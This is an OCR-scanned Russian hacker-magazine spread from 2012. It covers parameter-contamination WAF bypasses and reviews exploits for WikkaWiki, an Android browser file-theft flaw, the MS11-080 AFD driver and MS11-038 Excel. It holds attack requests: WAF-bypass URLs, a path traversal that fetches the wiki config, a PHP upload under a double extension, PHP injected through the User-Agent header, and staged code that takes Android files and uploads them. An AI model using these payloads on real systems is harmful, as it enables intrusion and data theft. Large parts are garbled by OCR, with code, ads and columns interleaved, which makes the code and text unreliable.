сербский др уг и акцентировал свое внимание. Он вставлял эти воочию сможе шь увидеть на прилагаемом скриншоте.
В качес тве доказательства эффективности НРС приведу несколько примеров обхода
WAF. 1. ModSecurity. Запрос вида http://loca lhost/?xp_cmdshell блокиру
Итак, НРР представляет собой повторение имен параметров с
ется, а запрос http://localhost/?xpkmdshell-нет.
разными значениями. Так как подобное поведение, по идее, не определено в
RFC,
то разные веб-сервера будут обрабатывать та
2. Обход dirtraversal URLScan . Запрос вида http://192.168 .2.1 05/ test.asp?file= .. /bIa.txt блокируется, а запрос http://192.168.2.105/ test.asp?fi le=.%./bIa.txt - нет.
кие входные данные по-разному. Вот при мер типичного «за грязне
НИЯ параметров НТТР »:
?test(1=2
test_l=2
test(1=2
test(1=2
Curly bracket is changed with underscore
?test.l=2 ?(1&d=2
test_1=2
test.l=2
test. l =2
Curly bracket is changed with underscore
d=2 1=.а rray( 2) test_d::12
(1/ d=2
(1&d=2
First is ignored whole
1()хх=2
1()хх='2
test_d=12
test d=12 test d=12
test d=12
Characters beetwen аггау and equal sign аге ignored First sign plus converted to underscore, second to space Flrst space converted to underscore
?1()хх ::2
?test+d=1+2 ?test d=12
test d=12
рагат,
second query delimeter
?test=%
test=%
NULL
test=
JSP ignore
?test%x=l ?test%OO=l
test"~x=l
NULL
test=l
JSP ignore рагат, ASP ignore ргосеп! sign JSP include NUlL value in рагат key
?test%OOa=l
test=1
test+ =l test+ a=l
testx=l test=l test=l
JSP include NULL value
нттр
рагат,
ASP ignore value
(п регат
key, others ignore after
Parame!er Con!am;na!;on
ХАКЕР
02/157/2012
051
Павел Александрович
ВЗnОМ/ОБЗОРЭКСПЛОИТОВ
Дмитрий Михайлович
Iivinside.bIogspot.coml
11 1561 2, дер. Красная з в ез дочка , д . 11
Обзор эксплоитов в нашу нелегкую эпоху буйства компьютерных технологий мы с ра достью представляем очередной обзор нашумевших уязвимостей
и сплоитов для них . Как всегда, призываем тебя исп'ользовать их не хулиганства ради, а защиты для!
1
Множественные уязвимости в
WikkaWiki
будет ошибка) . Однако всегда можно выполнить подзапрос и увести идентификаторсессииадмина.Вотпримертакогозапроса:
CV SS V2
•••••••••••••••••••
7.5
•••••
[: N/AC: L!AU : N/C: P/I: Р/А: Р)
l7IiПD
В конце ноября была опубликована информация об уязвимостях в движке
WikkaWiki,
EgiX . Что
примечательно, на момент публикации уязвимости ещё
найденных товарищем
Egidio Romano aka
f'Q$I. Iwikl<аjJJ.~еr_sеt_1;Jщ:_s -':IПi>_О,_•.1 .... _... ____ ._____ ._._. ___ .. __________ .__ _ 1p.c_a.lb_p.s1: ____ ._ .... __.. __ ... ___ ... _... _. __.. _. __ .. ___ .___.... _.........._.. _...._._._ .. _........ (оо_!< ie : __ .~95.2.?_b217 а8_бе с а8? fб_cJП.Е!f!!.!!с.4с Z.f~=_c 3 u94_ b02.cs 1 u d ij.::!.vц!}!:!.-z.:!.Ар9-- ___... __ ._______ ._ . ___ .. ___._._ ._. _._._ ... __._. __.________ .__ .____... _._. CO!JtelJt.- L_елgt.Ь .: 1.4~. __ ..... __ ___ .. __ ._ .... _ .... ____ ._ .. _.... (::.o!J.t;e!Jt - ТУР.Е! : ... аррц'.с"tJоп}х -WW_\II .:fоrm: u.rJеlJсщlеcl._. __ .. _.._.. .. _. СQлпесtiоп;._ .!<e ep -аН\lе .... _._... _..
Но.:;:\:_ :
>
••• _
••
не были закрыты: исследователь выжидал почти два месяца по
сле отправки отчета разработчику, но тот по каким-то причинам
;! .С;.tJ9п=uр.d<l.1:е&еm,!Ц':Оt.еs t%4~1;e_S.1:. сот&
не торопился исправлять баги.
d.Е!.fачJ.1:_С_ОlJ!шеlJt_ф.sрJ.<!У=' ,Е;!f!I<!Н':О ...
1.
SQL-инъекция в операторе
UPDATE. Уязвимый
код на х одится
в файле /act ions/usersetti ngs/usersettings.php, строки cJ~f"u),
t
___",aHcj... _. __
~ jj _j,Dt>чt .i~
II N L\.I lII1ICFC lII1ICFC IItI6I:FC llI16CFF 11816112 1l1li61. 1"'''' _. 1111601[
140-152:
_ __ .__________ ._______ .. ________ ._. ___ .. ___ .__.____._._. __
____ .______ ... _____ .. _._ .___________ ._._._.. __ .. _. ___ ... ____ .__ . _
~this ->.Q\!еI'}'(''
U!'QI\I!;___" ,_$tbi.~_c.~Get\:oofigV_<IJue(
' :t.<ltЙ~J>гefjк: )_,. :~lJ~er.~..
__ .. _. __.______.___ ... _
SЕI ..eJ!1<!Н___':О ._ '. " . J11X~Cj),J.е"),3.~с'НJ~_~:t.С:j,оg(~emg.iJ),_::_', ___ ... __ ._____ .________ ._. __
.
" . my~qlJе<!),3ш!~_:;trij1g($Qо_u_Q),~с.Нсk~..J.1: ).,." " sho.UOl1lТ1e!1ts= :.:' .mysqlJ~aJ_еsс<!~_stI'tпg($s_~_сoomeпt-~J, ,,_' , ..... . def,!Ul:Cс~Г)t_disр1;3У,:о'-'~•.$dеf<!чJt_сOlll!leГ)1:_cJi.sРlаУ_. '.'. '.,. r.еуts;i.Qп щuоt _.':0 ._" ., $re",i~iQIJcou.nt ." , .__ ._. ....... .____ ... __ .__ .. _._.. ._ .. . chаJJgеsсоvлt--:=.. '.'.• $сЬаJJgЕ!щJvпt. ",- ___________________________ .____ .. ___ .__ .. _____________ .__ .___ _ t _bE!f11E! .= _' " .l!IY-sCj1Jеаl_е_s_с<!ре_S1:.г;i.!Jg(~уsеr:1:.ЬE!!lJE!J. :'. '_ __ _. ~_ERE п<!me .:=__ _' "_.$use.r[ ' пате' ] •."_'. __ .. _. ___ ._. _._ ... ___ .. _____ .. ____ ._. _______ .. ____ .... _._._._
... -......
lOC_16CFC:
88 _ 08 80 ... 1
..
...
и.
~
1 1' D
::~:.
lIИ6I11 7
1
.,
ФuQJ,есЦс!<~dJt='
Ц;МП. l"
)..;. --
~
III N 1:0016014 88 7F 20 01 80816018 7S 1F
08016D1А А1
се
13 01 88
00016D1F 88 80 08016021 39 Jf7 00016024 72 06
88016026
ас
что функция mysql_real_escape_string[) предварительно не об
II N W
рабатывает пара метр
OIJ016D2C
внедрить в него про из вольный SQL-запрос. В некоторы х случаях нам не удастся изменить со держимое таблицы
users, например
пароль админа, подвум причинам. Во-первы х, указанный запрос является многострочным, а во-вторых, последние версии
052
ое
• J J
- .... r.~.':[ ...x. ]. Short .с 1'" '>-
СОР
byte ptr [e dl +20h ].
jnz
s hort loc 16039
но
11
""
еах,
ds :_1"p_tblUserprobeAddress
"о
еах.
[ео1Х]
С"" jb
[edl+3Ch]. short loc
110 80 08 00 88
f
'ах 16D2С
d",ordptr
""
ВОО1602С
.. · ~I
loc_1602C : зс
ООО
lах,
[edi+3C h)
88016D2f 88 08 0ОО16ОЗ1 89 О. 88016033 88 48 В4 00016036 89 48 84
IOOО
есх.
[еах]
ООО
[ . ах ] ,
ООО
есх,
0IJО16D2С
88 .. 7
MySQL
не поддерживают незакрытые ком менты [коммент, открывающий ся значками /*, дол жен всегда оканчиваться значками */ - иначе
] ...."
~ С1
при выполнении запроса, содержащегося в зтом коде, мы видим, мы можем
т
[ ••••1
~
II N
III N
default_comment_display, а значит,
-
:::: 1::r.~J
"".1·»r [.... ]. ""~ [eDr
ОО О
ее х
[Iах+ 4 ]
[еах+4] . есх
iH Уязвимость в функции AfdJoinLeaf
ХАКЕР
02/157/2012
Обзор эксплоитов
( SЕ LЕ C:r. ...~.~.:;.sj..Q!l i .d .f ВQМ ...wJ!sJ~.i;l_:;~:;.:;iQD.S ... WШВI . !Jserid= 'Ш .IsJ,l\ф:пiп: ) ,ttJ.!~J!1~=..:.... . .... _............ в том случае, если админ в данный момент залогинен, атакующий
увидит идентификатор его сессии в поле формы
UserSettings, пред e-mail'a. Если админ вручную не завершил сеанс работы в системе 'то есть не нажал на Logout!, атакующий назначенном для ввода
сможет использовать номер его сессии, который останется в БД. Благодаря функции
magicQuotesWorkaround, успешная эксплуата «magic_quotes_gpc = оН».
ция даже не требует директивы
2.
Загрузка произвольных файлов. Уязвимый код содержится
в файле /actions/files/files .php, строки
elsei f
(РГ.~~rng:tФС
/... +\.. С
266-278:
o.$al)..oweQ_ext!!n~j,.Q!]S,
Уязвимы й КОД в /handlers/files.xml/files.xml.php
.
' )$Л : , . $J:I:ЦS[ 'filе' J[ 'ЛiJJ1!!!.' ])) .
держится в фаЙле/hапdlегs/filеs.хml/filеs.хml.рhр. Ты можешь
{ $st~iрр~QЛ;J.l!lе ..=. stc~epJiJ.c.~.C'.\ $JIЦSI:.!jJе' ]
увидеть его на соответствующем рисунке. Проверка передан
' , , : ' , ................ .
ного пользователем имени файла производится единственный
[ ' пате ' 1) ; .....
$stripp~q!]iJ.rn!! . = rаwu~lеШ:;9Сj~.($striрреqП.<!.Ю~.)j
раз, в строке
..
54, и отсекает все файлы, имя которых начинается
$striрреgЛiJffi~ .. = striрslа.sЬеs.($striрреdШ!ffi~)j.
с точки . Такой прием не помешает атакующему реализовать атаку
$dest.fi1e. ;;...$щ:Йоаd_РiJt.Ь.,.DIВЕЧQRУ_SЕI'I\МIР.R., $s:t.riрреdПiJJ!1~j ..
типа
Path Тгаvегsаl-запрос
на скачивание конфигурационного
файла движка выглядиттак:
if if
C..
(!fiJ.e_e~ists($destfil~).) ...
СrnQУf,UJр1Qяdеd_Ые($JI.LЕS[
$d~:;:tfiJ~}){ $nоtJ.б!;iJ.tiО.П_!!Isg
}
'.file' ] [ ' :\;юр_[щще' ], ....................... = 'C( "file was suc!;es.sfully uploa.deq.. " );
/1.ttp ; / /.local.09s.t L.wikk<l/test/.fi.l.es.., xml?action=download&file=/. '/' ./wikka.config.php Ну и на десерт произвольное выполнение кода. уязвимы й код
4.
.........................
содержится в функции 10gSpaml! файла /Iibs/Wakka.class.php, Если в конфиге присутствует пара метр
'INTRANET_MODE' или ата
строки
1315-1343:
кующий похитил идентификатор сессии с помощью вышеописанно го бага, то он может загрузить на сервер файл сдвойным расширени ем, что позволит ему, например, выполнить произвольный РНР-код .
Стоит обратить внимание на переменную $allowed_extensions, в ко торой определены допустимые типы файлов. Вот как она выглядит:
'g;i f I jpeg.ljp.gljpe IрпgldШ:.!i5)S l.cs\(Jpp.t I.PP.;1;!.PPs I pQt I pdf.I .... a.scl t~tJ~JрJg:t.ягl g;! I Q.z;1!.:t.<IJ:.I г.<!.гl vpplmppjys.d! тт I htm I iJtrnl.:..
fyn.c1;,i,Qn lQgsраm(ЙУРе, $j:ag, $Ь.оdУ.,.kg<lsоn.,$ur1CQ.чо:t,.$щес= ' , ,$time= ' , ) { ....... ... _.....$spiJJ1!l.ogpaJ./J.. = .(isse1;($thi~- ~'(:OD.fil:.[ 'sPiJ1I11Qg_PiJ:tt! '] )}? .. . . $t;h.i.s .с>.~gлfig[ ' spi;lmJo~pgJb. ' . J. ..; .ЩСSF'А!1Ч)§],А.П{j . i .f . ($щеr ;;.=. ... '.:J . { $цsеr
в этом списке присутствуют достаточно редкие расширения, которые не отражены в МIМЕ-типах конфигурации Apache, например тт,
.=. $JhJ:; с.>GеtUsегN"шеОj .
}
......i f
vpp,
($Цте==
..'. : ) .
.{
в результате чего у атакующего появляется возможность выполнить
произвольный РНР-код . Следующий запрос демонстрирует загрузку
файла с именем test.php.mm и содержимым <?php phpinfoll; ?>:
POS.T I.wi.kJ~iJ/t.~.s:tI:iI.ТP /J.o.l ............... . Host: .. 1oc"J..iJost CPQkie: .Яб.5ДЬ:Ц Z.а6.б.еС.iJ62.f9d72!!f88с4с1.f.4 =~рj hs.dd 5~tc-'H Ь5.5gv3.Е11!,!j~.t.З .. .................. . с.ол:tелj;. с.L.~лg:t.Ь .: ... 2.51 ..................... . сРп:tе П.t.С TYP~.;..!!Iu!. Црагt.l.f.QГ.юсqа:tа.j Ьоuпdа ('У.= .:. - .С .-.С..-. - с..l5еЗ5..з.~J2.Z .. СоппесЦgд;.. kе~р-аJi.У~. _..... - - - - - - - - -..-J.S.!,!3534127 Сопtепj:.с. Dj,.~.РQS.i.t. i.Оn .: ... f.Qё.Ю.с. d.iJ.ti;l j .. f)а!!lе.=. ".бl.е." j fil.еl1i;lЮ.е=.::j;.~.:;j; , рl1Р .о тщ': Соп:t~лt.с I.ур~. ;...
.
.....
iJpp.licatJ..QD.IQc.tet- streaffi ..........
<?р.hР... рhр;iлfQ ().;
.. {
$orig~I)Jp...= '!'!."1.!,!.е : j .. } .... ..el.se .. ..... ,{.... ... $ог;i.g;i.л;i,р. ;; . $_$ЕRVЕR( 'В.ЕJ1Р.тСАD.RR' ] j ................. . ..... .} . .. .. $l,Ja .= . (:iдg:\;($_$.ЕRVЕR [ 'НТП>_L)$.~fU~~~N.т.' ])) ..J..... .... '[' . $_$~~\ШН 'fjТJP_USЕ[UIG.ЕJП: ] . ' ] , .. : .' ЛJ' j . ...$J;>ody .. = triш($J:ш.QУ)j ................ . .... $sig ..=. $F'A!1.~Q§_$:):G ..'. ' о $typ~.o..' ... '.• $Jirne ..:....:.0$:\:<;11:.' ' ... $qrigirJip,..' .. С. ' .$щеr. '... : .о.$У.а.,' . с . ' ... $re<l.s.Q.IJ.. ' . ..$.l,Jr).Щl,Jпj;.о "\n" j ....
.........
?~ ...................................................
.. ... $!;on:ten1; ..':...$~Jg,$bO!jy.• " \П\I1 " ~._ ... retu ('п $thJs c.~" ppen.Qfile ($SРЯ.l!l.lQgР<l1;/1.,.$СQп.t~.n.t)j
------- ~=~ 15e3534127
Сопtеп.t .:.RJsроsJНОf) :
.. f.Qгm:dя:tаj
лаm.е;;.::чРl.оа.d ':
.
i.Jp:!..oad ..... _........ - - -- - с - с c..:J .5.!'!.JsJ.412.7 = с ....... З.
Выгрузка произвольных файлов. Интересующий нас код со-
ХАКЕР
02/157/2012
.
}
....
Если в конфиге включена опция spamJogging, то атакующий сможет внедрить произвольный РНР-код в файл, заданный в переменной
$spamlogpath [по умолчанию ./spamlog.txt.php! через элемент массива $_SERVER[ 'НПР_USER_AG ENT' ]. Запрос, иллюстрирующий
053
ВЭЛОМ/ОБ30РЭКСПЛОИТОВ
fwr.i Ье(Нр.,... pri nt_r ($ _pQST, .. ТlщЕ» ... ос .................... . ....diе.С СQJ,I':!"Qд' .t writ.e da.t<! tQ .. fiJe.!.".);...................... fсlще($.fр); ...... ........................... echQ ."О'ФJ...урJ.Qi!.Q.еd ..to <а href.=\,'.ijle.S•.t.~.t'l..'~.~fiJe~ •.tllt ~j<! > !" j ..
вышесказанное:
"О5] jw ikk.<!/t.е:;J f,нjQ.~.Оl!ll))~n.t ...I:!JП)f:l, ,.;1.
Hos1;: 1 .Q~.altJ.Q~J ..........._........................ ... .............................. Cookie: 9б522.1:1417.<!.!!.бJ~.~jJ!!.zfб.d72,.еf88с4с7.f4.:'бJJJJ!~J!.У.еfб.4.Z .. Oqj а\iе~fпр!;!З ....................................... User-Agen:t : ... ~Iрl).р .. рJlPJлf.QОj... ~~.. . Contellt.- Length.:...41....... . .................. c.ontent - Туре:... аР.р.ц.!;.<!ц'OJ!j~.= .w\'l.w.-fОгl1J c.u rJe Ilc.ode.Q.. connection: . k.eep.-. a~.i\i.e...... ................. body=foo&su!:>I1J.it.:,M.Q.±.c.QI1J.m~n:t ... _ .._................................ _
·'·j;J1jf1
}
......... .
Апdгоid
< 2.3.4 .
1.
Отключить
2.
Использовать альтернативный браузер.
JavaScript
в стандартном браузере.
WikkaWiki<= 1.3.2.
3
f1·)!ljj('H' Установить обновления
2
Wikka
1 .3.2-р7.
CVSSV2
Кража данных с аппаратов на пnатформе
Апdгоid
CVSSV2
•••••••••••••••••• Ш1П
Быстро растущая популярность ОС
MS11-080: повыwение привиnегий с помощыо уязвимости В драйвере AFD
4.3
•••
[AV: N/ АС: М/ Au: N/C :P/I: N/ А: N! Android привлекает внимание
•••••••••••••••••••
7.2
••••
IAV: L/ АС: L/Au: N/C :(/1:(/А :С!
Ш1П
Уязвимость, позволяющая получить системные привилегии при исполнении кода налокальной системе, была обнаруженатовари
щем Во Zhou. Эта уязвимость, скрывающаяся в недрах драйвера afd . sys lапсillагу fuгтсtiоп dri ver!, обусловлена неправильной проверкой в хо дны х данных, передаваемых в режим ядра из режима пользова
хакерско го сообщества . В ней регулярно на хо дят различного рода
теля. В случае успешной зксплуатации этой уязвимости локальный
багибезопасности.СегодняречьпоЙдетобуязвимости,благодаря
атакующий получает возможность выполнить произвольный код и,
которой атакующий может получить содержимое любого файла
соо тветственно, добиться полного контроля над системой.
Драйвер
сустройства подАпdгоid.
afd.sys
представляет собой прослойку между
драйвером TCP/IP-стека tcpip.sys и библиотекой пользо вательского уровня Уязвимость обусловлена несколькими факторами:
1.
Стандартный браузер в
Android
Winsock.
Он регистрируется как
NPI-
провайдер и предоставляет доступ к сокетам режима ядра
в некоторых случаях не оповеща
Wiпsосk Kernel [WSK!.
ет пользователя о скачивании файла .
2.
С помощью специального JаvаSсгiрt -ко да можно заставить брау
зер открыть любой файл, хранящийся в памяти устройства. З . С помощью специального JаvаSсг i рt-кода можно получить со-
держи мое л юбого локального файла . Эксплоит, которому на
Exploit DВ присвоен
Уязвимость сокрыта в функции в драйвер
номер
AfdJoinLeaf.
В хо де ее анализа
выяснилось, что она может получить уп равление в случае, если
afd
приходит
IOCTL с
кодом Ох120ЬЬ :
18164, действует
в несколько эта пов . На нулевом этапе пользователю предлагается пройти по вредоносной ссылке:
..................
function stаgее($.S.Р:,JрtщJ.J ... с. echo " <.Ь>Ап. dгоiQ ... ~ ... 2" ..З .. 4 < /Ь> <br >Data 51;ei31ing...W.eP.... . Page <Ьг ><br>O.ic.K.:.._<<!....o.ref.=\ .. $. S.Cr .i .ptur:J. ~.st.яgе.,,:J..\' ~~.... MaliciQus Liпk<j а >.~'. j ........... } Первый этап -
PAG.EAFD';.e.e.f1 :!.J~1..(4 ..
rn.Qv.... . .. [e.dx t l ] ,. Ql ............................... ....... еs.l.,_МdIГРСi!JJД;i.sр<!t.<;ЛlеsJ.J. ; . е~л.и .. IQО1..с...Щ/J,ом.. ~Хl?еI;ФJ ... :Г9 .. е.~i...':':... еl(J2n(t .... РАGЕI\FD:.е~Щ.[!JCI). tеst esi, esi .... .... ............. . PAG~Af.D : ееЩ.6JСf jz loc_21AFJ... ..............._ ................. РАGЕАFD. : е(tе:J..В1D5. call esi j саЦ AfQJ9;i.IJ.LJ~.ilf.. _........ РАщАfо.: .ее~;J,6.зд.... {IIQу
редирект пользователя на страничку с вредоносным
Jа vаSсгiрt-ко дом, который без ведома пользователя скачивается при помощи контент-провайдера соm.апdгоid.htmlfilергоvidег:
· data: еееl,Щ!8 _Mdlrp.CallDispatch dd .off.;;.et.. @Afgj~J[Jq@6 · dat;a : еееЦ:J,6!;! ..... , ОАТА. XREF: АfdDisраt.сhD.е\iiс;е.С.оп:tгоl(~J х) .data: eee121B8 . J (lfdBind( x,x).. . ..........................
function sti;Jgel.C$.:;.!;rip:t.yrl ) ...{ . echo " < ЬоdУ... олlоаQ.=-"~'.sе:t1iI)).еQUt.(' wi.ndОW .. 1.QЧltJQО.. =\ ' $sc.riptu.rl? st.age.=2,.~'.'.., :J..eee)j s.e:tJim.eQ!Jt. С '. wiл.Q.Q.w.•...... lОС. i3.tiоп= \'. С.QлtеJJ.t.;. I.I.С.Q.I1J .•.iНtQrP.i.d ..htmlfi.lерги!iQ.ех:I. .... _...... . sQC"rd/do\'ln1..QaQL.PQ!;.,.bt.I!1J\~ ~ , ... 2e~eJ; \" ) " ; ..........._ ............... } ...... ................... .. ................... - .............
· data: еееlzце .... ро .. offset .. @АfdJо.iп~еi!.f@.е.................. . AfdJQinLeafC~.,. x )...... . ...................................
Чтобы мы могли добраться до уязвимого базового блока , должно Второй этап
-
выполнение вредоносного JаvаSсгiрt-кода на ло
кальном устройстве и получение требуемых файлов . Вредонос ный ко д смотри на соответствующем рисунке.
Трети й этап
-
загрузка файлов на удаленн ы й сервер:
быть выполнено несколько требований:
• • •
размер входного буфера должен быть больше Ох18; размер выходного буфера должен быть равен О ;
четвертый
DWORD во в хо дном
буфере должен быть равен
ОхОООООО01;
fuщц.оп..
stage;\O....{......._...._......... ...... ......................._ .. _........ _.......... .. .... .. _._ ..... _.......... ф.е С'.С.QuJdл'. :t. ..Qр.еД ..tiJ.е . fQГ . \'IritJng! .~' )j.............. _.................
$fp =
fop.elJ. C tiJ.e:;,. txt.:~ , ..~~.\'I~~.) Qr
•
значение WORD'a по адресу [в хо дной буфер + Ох34], увеличенное на 8, должно быть меньше или равно [размер входного буфера Ох С]
ХАКЕР
02/157/2012
ВреАОНОСН ый JavaScri рl-КОААЛЯ Алdгоid
PAG~ : _~I')_e1_6C1D ___m()у еРх. __ eiJ_ )\_ ; YKi!?aTenb на IRI'_ StacK PAGE : 1')_1')~16C1F _mQv__ [ebptlrp]4 есх ~ __ есх п.аJ<еr IRP PAGE ;ШШ_16.С22 _ )\QC esi, __ es;i __ PAG_~ : ~e~16C24 1!19У .[ ebp+v.ar_213], es;i PAGE: l')~e16C27 _I!I9У [ebp+P]4 ___ esi PAGE; ~~e16C2A _ !I1()Y ei!x,Cebx+8] ; _Р9_,н.,ер BXOA!:i_Qr() буфеRi'!__ PAGE :Jjl')e16C2[) ___ ~_mp __ еах, ___:lдtt ~ ДОЛЖен ___ быт ь б~ЩеЦl_е еХ18 _____ _ PAGE_: 1')<\\Ц6СЗ~___ j)J___ ~oc_17eI~ _ PAGE: еее16СЗ6 .__ I!IОУ edx, JebX+4] ; _Ri'!3MeP BbIXQAI:t0rO БУФеR_а PAGE: еее16СЗ9 __ !;I!IР. edx, esJ _~ должен . __быть == _ ~_ PAGE: е~_е16СЗВ __ jz _short 10с_16С46
Теперь необходимо записать наши данные в выходной буфер
IRP. Для осуществления этой затеи нужно вызвать функцию AfdRestartJoin в базовом блоке по адресу OxOOOl6f54 . В итоге это при ведет к вызову функци И AfdConnectApcKernel Routine, которая попытается записать NTSTATUS-KOA в выходной буфер IRP Iв на шем случае код равен ОхСООО0207). Записав в буфер значение ОхСООО0207 без учета выра вниван ия, м ы сможем вызывать наш шелл-код в пространстве пользователя по адресу ОхОО0207хх.
I,,';I'I{'
Windows ХР Service Pack 3; Windows ХР Professional х64 Edition Service Pack 2, Windows Server 2003 Service Pack 2, Windows Server 2003 х64 Edition Service Pack 2, Windows Server 2003 SP2 для Itanium-
WEXLER.BOOK Е5001 « МЕТРО
2033» ДМИТРИЯ ГЛУХОВСКОro и ЕЩ~ ДВА РОМАНА КУЛЬТОВОЙ СЕРИИ БЕСПЛАТНО В ЭТОЙ ЭЛЕКТРОННОЙ КНИГЕ WEXLER
Ьаsеd-систем.
КОМФОРТНОЕ ЧТЕНИЕ Существует обновление, устра няющее эту уязвимость .
, OBJ
CVSSV 2
•••••••••••••••••••
•••
[AV:N/АС : М/ Аи: N/C :C/I: С/ А :С)
Для использования этой уязвимости атакующий должен за стави ть пользователя открыть специальным образом сформиро-
02 /157/2012
ЭКРАН • liI
9.3
IШПП
ХАКЕР
СТИЛЬНЫЙ ГАДЖЕТ
Уязвимость MS11-038 в Microsoft Office Excel, возникающая при обработке записи и приводящая к перепоnнению буфера
11 •
+ ...
• •
ИГРЫ
5"
li1 :::::'~/НИЕВЫЙ l1li РАДИО И МР3 W КОЖАНЫЙ ЧЕХОЛ W ЭЛЕКТРОННАЯ БИБЛИОТЕКА
.~~~E 200 тыс.
ф WeXLer:
а CJ ~:~~k~C. ПОДЗАРЯДКИ
www.wexler.ru
М.Ш"''§Щ!
ТЕЛЕФОН ГОРЯЧЕЙ линии :
8 (800) 200 9б БО
ВЭЛОМ/ОБЗОРЭКСПЛОИТОВ
ванный хls-фаЙл. В результате у атакующего появится воз можность выполнить произвольный код на локальной машине
.' te.x t : .:щl,д.АЕз..........сI1JQ ............еЬ1<4 . esi ........................................ . ..1;ехt;з.~1.ц.8Е.2 ........ jпz ....... lщ_з~1д2~.3 ........................................
с правами пользователя, запустившего уязвимое приложение.
..,tex:t :.з.8Ц.729.2 ....... Qli~h .. __ dwol"d P.tl" jeb.xt41 ........ __ ... .. .:tех:t; .:зi'ц:z.~~R..... __ .. ~aJJ....... 5uЬ_з81272бз ................................. .
'!34!']" Запись
OBJ в Excel определяеттакие объекты, как Liпе, Rectangular, элементуправления CheckBox и т. д. Существуют
в первой строке дизассемблернога листин га происходит копиро
разные типы ОВJ-записей, отличающиеся дочерними записями .
вание адреса буфера, содержащего записи
Структура дочерних записей идентична структуре файлов фор мата
буфе-ре. Еслиты обратил внимание на
BIFF.
Это означает, что первые два байта представляют собой
ftCmo,
в регистр
edi.
Затем в еЬх копируется значение по смещению Ох6 в этом
CTPYKTypyftCmo, тодолжен 12 байт резервируют
был заметить, что, начиная с этого офсета,
идентификаторы дочерней записи, следующие два байта указы
ся. Поэтому результат, который копируется в еЬх, представляет
вают размер данных, а далее следуют сами данные. При ведем
собой первые четыре байта зарезервированного значения. Если ты посмотришь на последующий код, то увидишь, что
список возможн ых дочерн их записей:
по адресу Ох30127293 значение контролируемого нами регистра Дочерняя запись.......... .зJ!!'!':(е.tше
еЬх+4 заносится в стек . Впоследствии оно используется в каче
ftЕлd....
стве аргумента функции
Описание ........................... ... . ....................~h .................. КQнец . QВJ-~апl'tс:I1................................... (;!арезер'Вl1р.о.В<JНJ;» .......~;J.Ь............. .. .. .... ........................................... .(Jарез.ервированр) ......jj.~h.... .. ............................_. (3аре~еРВИРQваI:Ю) ......~Jb.................. .................. _......JMb ........_..........Fm1a -stуk. m<Jсrо ............................... ftf1,lCro.. i't.Butt.oГl ................ ~.~.b ................. !;QIIII1al1d ..Ьut1;9Л ....... _............... .. f1;Gmo ................... ~Rb.................... GrQIJP..marke.r ......................... ftCf ..................fJ.?lJ.................. !;Jjpt>oar.9. forma:t............................... fj:PiqGrbi:t ...........~I!Jl ...........Pi.cture орЦоп JJgg~ ........... _ ..... . t,tl'ictFmla ...................E.'I2Ь................... pic.t ure fmla~~t~ile П1асг.9_............. ftCbls .................fJAt! ..................'cbec.k...bo>$link .................................. ftRt:,o ....8~.b................... Radio . button ftSbs ................ ОСЬ................. _. ScrQll Ьаг: ftNts ..............................~P..b _ ................ Note.. str:uctur.e.................................... ftSbsFmla ..... _ .........щh.................... sс:rQц .Ьаг: ..fml.а с.s:t;уJе_.]!1iю:'.Q ........ ftGboData ...... fJ.F.h... _ .... _...... .GTojJP. p9xdata ...................................... ftEdoData .. _ ...............J~.b.................. JJJ,i,t .. солtr:'Ql .. d.<ltа .......... _ ................ ftRboD<Jta ....................1ц1 .................R<Jd,i,Q Ьuttол .da1;.<I . .. ......................_ ftcl:>lsQatiJ ...................12h................... Check Ьох da:ta ............................. .. ftLbsDat<l . ... :l.3b................. Цs1; .. Ь.ох Qata ......................... ftCblsFmla 14h ...... C.becJ~ JЮ>$J,iJlk .fт1а.-.stуlе. .. шаИ9 ftCmo ...... :!.5Ь .... _ ..... ......да.нные объеКТ.а . ..............................
Первой всегда идет дочерняя запись
Перечислим также поля подзаписи
ftCmo, ftCmo:
а последней
- ftEnd.
Смещение........иr1f! . J1.QI)в. ......... f'.а.~меR
fJ 2 4 R. 8 14
....с,одержимое......................................... ...............~ ......._....... =.ftCI1JQ .( :).S!1) ................................... .С.I:> _ ....................~ .............. I'.азМеR.. данНЬ,l,х ..f:!:,C!!lQ....................... ......Q:t;........._..............~.............J!1Л .. О.t1ъе.кта .............._......................... . :i..с! ........................~ ................Иде-':!тифиК.<!п>рJQ .QРъ.еы.а........... .. gr.bi:t.............._z............... РлциоtjалЬtiые .фmН: и. __ ..... _ ........... .._.. ,(R.eser.y.e.Q).....;1,Z............ ~аре~ерВи.роВ.аНQ; .. дQIJ)I\нQ ,,".7... ~..
sub_30127263.
На этом шаге фактически
и возникает уязвимость, поскольку никаких проверок т о го , до
пустимо ли значение для еЬх, не пр ово дится .
Фун кция
su Ь_30 127263 прибавляет к значению
аргумента
(которое мы контролируем! Ох10 и передаетрезультатв функцию
MSO_B04. ., t.е.~t.;.J~:!'.ZП.2.:L ..."р'j!sJ1 _
......е.Рр...... _ .................._ .........__....... ___............ · t.e~1; :;!E.'I.:!.п.~.6.4. ...... !!I'O.Y...... . еЬр, esP. ......... ,.1;ext ;. 3~.1.n..2J!.g... ...т.ОУ . .. NX, . [ebR:I:!3r.g_~J ..... .. .tехt :38;1,z:пg~ ...... QЧ5h . esi ____.... __ ...... __ . · t.ех:t. :..~.!JJz].~RА ..... !ПQу........... еsi., . [eд~:!:~Ab 1 ... _ ..:..... _ ..................... . .,te xt .: 1~:!'2.П.@ ... .. J!цsh __ . ...еs.i...............................__ .................................. '.te><:t;. :..з.jjJ.2п6. ~........с.!'!ц __ ... MSO _BfJ.'I... ~.[;!~}.05;!8C1........................... .
Функция
MSO_B04 увеличивает свой
аргумент на Ох3с и возвра
щает полученный результат. З~Е~7.Е!3.8............. _ ........... __ Р.Ц.5Н
.EIH' " ... ................ MQI( . ~J1 Р , Е $ Р ... __ ................................................... З8Е2П.ВЗ . MOV ...EAX , DЩЩD... I'TR .. S.$ :jE.l;!,f'.±JH ........... . З8Е27.FВб . ТEST ЕАХ, ~AX _ .. __ .. __ .............. з8Е2.7J:.~.6 ..............._ ........... .J.~. !!Is'o . ).8C?A~.?2........___ ..................................... з.8 ~ ~ j'I.BJ................................~OV EAX4 D.WP,R,O РТВ.. J>.S.;Л8Х±ЗС 1......... .. З.~Е 2} F.CJ...............................J)Q.f'... ~ Е1Р.... ............................................................. З.~Е.ПЕ .Сz..............................В. ~.Пу... 4. ......................................................................... ЗЩ2}F~.1
ft
Значение, возвращаемое функцией MSO_B04 (до сих пор на ходящееся под нашим контролем) сохраняется в регистре есх. Азатем следует констркуция call dword ptr [есХ+Ох11] .. .
., .t .е~.t .:).8;J..П.П4 ..._..tg.5:t; ... __
Значения в функции
